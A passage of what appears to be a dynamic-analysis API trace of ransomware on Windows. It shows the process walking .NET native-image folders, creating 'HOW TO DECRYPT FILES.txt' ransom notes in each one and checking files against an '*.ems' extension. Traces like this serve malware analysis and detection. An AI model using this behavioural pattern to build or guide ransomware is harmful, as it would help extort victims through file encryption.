pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\") returned="" [0112.851] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\HOW TO DECRYPT FILES.txt" [0112.851] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.web.extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\how to decrypt files.txt")) returned 0xffffffff [0112.851] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.web.extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.854] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\", lpString2="System.Web.Extensions.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\System.Web.Extensions.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\System.Web.Extensions.Design.ni.dll" [0112.854] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\System.Web.Extensions.Design.ni.dll", pszSpec="*.ems") returned 0 [0112.854] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.854] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\*.*") returned="*.*" [0112.854] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\", lpString2="e2d043bbce0d8d303dadd068037c3ffb" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb" [0112.855] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ca49194, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1ca49194, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1ca49194, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.855] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.855] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Extensions.ni.dll") returned -1 [0112.855] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Extensions.ni.dll") returned -1 [0112.855] lstrcmpiA (lpString1="", lpString2="System.Web.Extensions.ni.dll") returned -1 [0112.855] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\*.*") returned="*.*" [0112.855] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\" [0112.855] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\") returned="" [0112.855] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\HOW TO DECRYPT FILES.txt" [0112.855] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.web.extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\how to decrypt files.txt")) returned 0xffffffff [0112.855] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.web.extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.858] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\", lpString2="System.Web.Extensions.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\System.Web.Extensions.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\System.Web.Extensions.ni.dll" [0112.858] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\System.Web.Extensions.ni.dll", pszSpec="*.ems") returned 0 [0112.858] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.858] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.859] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.859] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Web.Mobile" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Mobile") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Mobile" [0112.859] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Mobile\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28dec31c, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x28dec31c, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x28dec31c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.859] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Mobile\\*.*") returned="*.*" [0112.859] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Mobile\\", lpString2="5ea81699d36a1938a0ff618380506f11" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Mobile\\5ea81699d36a1938a0ff618380506f11") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Mobile\\5ea81699d36a1938a0ff618380506f11" [0112.859] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Mobile\\5ea81699d36a1938a0ff618380506f11\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28dec31c, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x28dec31c, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x28dec31c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.860] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.860] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Mobile.ni.dll") returned -1 [0112.861] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Mobile.ni.dll") returned -1 [0112.861] lstrcmpiA (lpString1="", lpString2="System.Web.Mobile.ni.dll") returned -1 [0112.861] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Mobile\\5ea81699d36a1938a0ff618380506f11\\*.*") returned="*.*" [0112.861] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Mobile\\5ea81699d36a1938a0ff618380506f11\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Mobile\\5ea81699d36a1938a0ff618380506f11\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Mobile\\5ea81699d36a1938a0ff618380506f11\\" [0112.861] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Mobile\\5ea81699d36a1938a0ff618380506f11\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Mobile\\5ea81699d36a1938a0ff618380506f11\\") returned="" [0112.865] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.865] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.RegularE#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf5741df, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xaf5741df, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xaf5741df, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.865] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.RegularE#\\*.*") returned="*.*" [0112.865] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.RegularE#\\fc4fb8a45f4e2115c1290af5ffe5ace0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf5741df, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xaf5741df, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xaf5741df, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.866] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.866] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.RegularExpressions.ni.dll") returned -1 [0112.866] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.RegularExpressions.ni.dll") returned -1 [0112.866] lstrcmpiA (lpString1="", lpString2="System.Web.RegularExpressions.ni.dll") returned -1 [0112.866] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.RegularE#\\fc4fb8a45f4e2115c1290af5ffe5ace0\\*.*") returned="*.*" [0112.866] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.RegularE#\\fc4fb8a45f4e2115c1290af5ffe5ace0\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.RegularE#\\fc4fb8a45f4e2115c1290af5ffe5ace0\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.RegularE#\\fc4fb8a45f4e2115c1290af5ffe5ace0\\" [0112.866] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.RegularE#\\fc4fb8a45f4e2115c1290af5ffe5ace0\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.RegularE#\\fc4fb8a45f4e2115c1290af5ffe5ace0\\") returned="" [0112.870] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.870] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Routing\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x241c0290, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x241c0290, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x241c0290, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.871] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Routing\\*.*") returned="*.*" [0112.871] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Routing\\b9977dd97ed7006f1d7968495c594bc5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x241c0290, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x241c0290, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x241c0290, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.872] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.872] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Routing.ni.dll") returned -1 [0112.872] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Routing.ni.dll") returned -1 [0112.872] lstrcmpiA (lpString1="", lpString2="System.Web.Routing.ni.dll") returned -1 [0112.872] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Routing\\b9977dd97ed7006f1d7968495c594bc5\\*.*") returned="*.*" [0112.872] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Routing\\b9977dd97ed7006f1d7968495c594bc5\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Routing\\b9977dd97ed7006f1d7968495c594bc5\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Routing\\b9977dd97ed7006f1d7968495c594bc5\\" [0112.872] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Routing\\b9977dd97ed7006f1d7968495c594bc5\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Routing\\b9977dd97ed7006f1d7968495c594bc5\\") returned="" [0112.874] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.874] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Services\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6cbb143, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa6cbb143, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa6cbb143, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.874] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Services\\*.*") returned="*.*" [0112.874] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Services\\2f157d250a738f7a6074e0f29b298998\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6cbb143, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa6cbb143, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa6cbb143, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.875] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.875] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Services.ni.dll") returned -1 [0112.875] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Services.ni.dll") returned -1 [0112.875] lstrcmpiA (lpString1="", lpString2="System.Web.Services.ni.dll") returned -1 [0112.875] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Services\\2f157d250a738f7a6074e0f29b298998\\*.*") returned="*.*" [0112.875] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Services\\2f157d250a738f7a6074e0f29b298998\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Services\\2f157d250a738f7a6074e0f29b298998\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Services\\2f157d250a738f7a6074e0f29b298998\\" [0112.875] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Services\\2f157d250a738f7a6074e0f29b298998\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Services\\2f157d250a738f7a6074e0f29b298998\\") returned="" [0112.877] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.877] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Forms\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c1b63b9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7c1b63b9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7c1b63b9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.877] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Forms\\*.*") returned="*.*" [0112.877] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Forms\\6c352ff9e3603b0e69d969ff7e7632f5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c1b63b9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7c1b63b9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7c1b63b9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.879] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.879] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Windows.Forms.ni.dll") returned -1 [0112.879] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Windows.Forms.ni.dll") returned -1 [0112.879] lstrcmpiA (lpString1="", lpString2="System.Windows.Forms.ni.dll") returned -1 [0112.879] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Forms\\6c352ff9e3603b0e69d969ff7e7632f5\\*.*") returned="*.*" [0112.879] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Forms\\6c352ff9e3603b0e69d969ff7e7632f5\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Forms\\6c352ff9e3603b0e69d969ff7e7632f5\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Forms\\6c352ff9e3603b0e69d969ff7e7632f5\\" [0112.879] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Forms\\6c352ff9e3603b0e69d969ff7e7632f5\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Forms\\6c352ff9e3603b0e69d969ff7e7632f5\\") returned="" [0112.881] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.881] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Pres#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29405b87, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x29405b87, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x29405b87, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.881] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Pres#\\*.*") returned="*.*" [0112.881] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Pres#\\93ee0d8b03d20f6b2d9875add13e23e8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29405b87, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x29405b87, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x29405b87, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.882] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.882] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Windows.Presentation.ni.dll") returned -1 [0112.882] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Windows.Presentation.ni.dll") returned -1 [0112.882] lstrcmpiA (lpString1="", lpString2="System.Windows.Presentation.ni.dll") returned -1 [0112.882] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Pres#\\93ee0d8b03d20f6b2d9875add13e23e8\\*.*") returned="*.*" [0112.882] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Pres#\\93ee0d8b03d20f6b2d9875add13e23e8\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Pres#\\93ee0d8b03d20f6b2d9875add13e23e8\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Pres#\\93ee0d8b03d20f6b2d9875add13e23e8\\" [0112.882] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Pres#\\93ee0d8b03d20f6b2d9875add13e23e8\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Pres#\\93ee0d8b03d20f6b2d9875add13e23e8\\") returned="" [0112.883] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.883] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Act#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbca59307, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbca59307, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xbca59307, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.884] PathFindFileNameA 